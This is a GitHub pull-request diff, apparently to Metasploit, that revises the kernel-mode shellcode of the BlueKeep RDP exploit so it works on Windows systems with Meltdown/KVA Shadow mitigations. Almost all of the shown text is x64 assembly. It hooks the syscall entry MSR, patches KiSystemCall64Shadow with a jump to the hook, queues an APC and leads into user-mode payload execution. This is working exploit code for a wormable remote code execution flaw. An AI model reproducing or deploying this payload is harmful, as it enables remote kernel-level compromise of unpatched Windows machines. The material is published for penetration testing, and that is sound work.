Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix BlueKeep payload for Meltdown/KVA Shadow #12552

Closed
wants to merge 1 commit into from
Closed
Changes from all commits
Commits
File filter...
Filter file types
Jump to…
Jump to file or symbol
Failed to load files and symbols.

Always

Just for now

rough draft meltdown fix

  • Loading branch information...
zerosum0x0 committed Nov 8, 2019
commit 500feceef6a2580f0cf73f91c39c87e0e273ced9
@@ -404,7 +404,11 @@ def kernel_mode_payload
# - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
# - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c

data_kapc_offset = 0x10
data_kapc_offset = 0x30

data_hal_original_syscall_shadow_common_offset_offset = 0x20
data_hal_fake_syscall_spinlock_offset = 0x10

data_nt_kernel_addr_offset = 0x8
data_origin_syscall_offset = 0
data_peb_addr_offset = -0x10
@@ -426,51 +430,65 @@ def kernel_mode_payload

asm = %Q^
shellcode_start:
; egg tag
nop
nop
nop
nop
setup_syscall_shadow_hook:
; IRQL is DISPATCH_LEVEL when got code execution
;int 0x3
push rbp
mov ecx, 0xc0000082 ; IA32_LSTAR (&syscall)
rdmsr
call set_rbp_data_address_fn
shl rdx, 0x20
or rax, rdx ; rdx = &syscall
; read current syscall
mov ecx, 0xc0000082
rdmsr
; do NOT replace saved original syscall address with hook syscall
lea r9, [rel syscall_hook]
cmp eax, r9d
je _setup_syscall_hook_done
push rax
pop rsi
; if (saved_original_syscall != &KiSystemCall64) do_first_time_initialize
cmp dword [rbp+#{data_origin_syscall_offset}], eax
je _hook_syscall
; this loop stores the offset to push 2b into ecx
_original_syscall_skip_start:
xor ecx, ecx
mov ebx, 0x652b6a00 ; common byte sequence... (end of push:gs), push 2b, (start of push:gs)
; save original syscall
mov dword [rbp+#{data_origin_syscall_offset}+4], edx
mov dword [rbp+#{data_origin_syscall_offset}], eax
_original_syscall_skip_loop:
inc ecx
cmp ebx, dword [rsi + rcx - 1]
jne _original_syscall_skip_loop
; first time on the target
; move data to HAL struct
mov rax, #{hal_heap_storage}
mov byte [rbp+#{data_queueing_kapc_offset}], 0
mov qword [rax + #{data_origin_syscall_offset}], rsi
_hook_syscall:
; set a new syscall on running processor
; setting MSR 0xc0000082 affects only running processor
xchg r9, rax
push rax
pop rdx ; mov rdx, rax
shr rdx, 32
wrmsr
; copy the offset to push 2b and the bytes there off
mov dword [rax + #{data_hal_original_syscall_shadow_common_offset_offset}], ecx
_setup_syscall_hook_done:
pop rbp
; install hook call in KiSystemCall64Shadow padding
mov dword [rsi - 0x10], 0xbf485790 ;0xcc5748bf ; nop (or int3); push rdi; movabs rdi; db '\0'
lea rdi, [rel syscall_hook]
mov qword [rsi - 0xc], rdi
mov word [rsi - 0x4], 0xc357 ;0x57c3 push rdi; ret;
; write tiny jmp from 'push2b' to KiSystemCall64Shadow padding
add rsi, rcx
mov eax, 0xfeeb
shl ecx, 0x8
sub eax, ecx
sub eax, 0x1000
; lock cmpxchg8b [rsi]
; we get away with this because replacing push2b is atomic, dirty af tho
mov word [rsi], ax ; push 2b => jmp -x;
;mfence ; stop speculating... std::atomic<std::uint16_t>
;--------------------- HACK crappy thread cleanup --------------------
; This code is effectively the same as the epilogue of the function that calls
; the vulnerable function in the kernel, with a tweak or two.
;--------------------- HACK crappy thread cleanup --------------------
; This code is effectively the same as the epilogue of the function that calls
; the vulnerable function in the kernel, with a tweak or two.
; TODO: make the lock not suck!!
mov rax, qword [gs:0x188]
add word [rax+0x1C4], 1 ; KeGetCurrentThread()->KernelApcDisable++
@@ -487,78 +505,42 @@ def kernel_mode_payload
pop rdi
ret
;--------------------- END HACK crappy thread cleanup
;========================================================================
; Find memory address in HAL heap for using as data area
; Return: rbp = data address
;========================================================================
set_rbp_data_address_fn:
; On idle target without user application, syscall on hijacked processor might not be called immediately.
; Find some address to store the data, the data in this address MUST not be modified
; when exploit is rerun before syscall is called
;lea rbp, [rel _set_rbp_data_address_fn_next + 0x1000]
; ------ HACK rbp wasnt valid!
mov rbp, #{hal_heap_storage} ; TODO: use some other buffer besides HAL heap??
; --------- HACK end rbp
_set_rbp_data_address_fn_next:
;shr rbp, 12
;shl rbp, 12
;sub rbp, 0x70 ; for KAPC struct too
ret
;int 3
;call $+5
;pop r13
syscall_hook:
swapgs
mov qword [gs:0x10], rsp
mov rsp, qword [gs:0x1a8]
push 0x2b
push qword [gs:0x10]
push rax ; want this stack space to store original syscall addr
; save rax first to make this function continue to real syscall
push rax
push rbp ; save rbp here because rbp is special register for accessing this shellcode data
call set_rbp_data_address_fn
mov rax, [rbp+#{data_origin_syscall_offset}]
add rax, 0x1f ; adjust syscall entry, so we do not need to reverse start of syscall handler
mov [rsp+0x10], rax
; this syscall hook is called AFTER kernel stack/KVA shadow et al is setup.
; save all volatile registers
push rax
push rbp
push rcx
push rdx
push r8
push r9
push r10
push r11
mov rbp, #{hal_heap_storage}
; use lock cmpxchg for queueing APC only one at a time
xor eax, eax
mov dl, 1
lock cmpxchg byte [rbp+#{data_queueing_kapc_offset}], dl
jnz _syscall_hook_done
;======================================
; restore syscall
;======================================
; an error after restoring syscall should never occur
mov ecx, 0xc0000082
mov eax, [rbp+#{data_origin_syscall_offset}]
mov edx, [rbp+#{data_origin_syscall_offset}+4]
wrmsr
jnz _restore_syscall
; allow interrupts while executing shellcode
sti
call r3_to_r0_start
cli
_restore_syscall:
mov rdi, qword [rbp + #{data_origin_syscall_offset}]
mov eax, dword [rbp + #{data_hal_original_syscall_shadow_common_offset_offset}]
add rdi, rax
mov word [rdi], 0x2b6a
_syscall_hook_done:
pop r11
pop r10
pop r9
@@ -567,7 +549,13 @@ def kernel_mode_payload
pop rcx
pop rbp
pop rax
ret
; lazy hack to get the stack set up and not cause bugcheck 0xc4 arg1=0x91
mov qword [rsp-0x20], rdi
pop rdi
jmp [rsp-0x28]
r3_to_r0_start:
; save used non-volatile registers
@@ -993,7 +981,6 @@ def kernel_mode_payload
cmp dword [rdx+0xc], 0x00320033 ; 3\x002\x00
jnz _find_kernel32_dll_loop
;int3
mov r15, [rax+0x20]
mov edi, #{createthread_hash}
call get_proc_addr
ProTip! Use n and p to navigate between commits in a pull request.
You can’t perform that action at this time.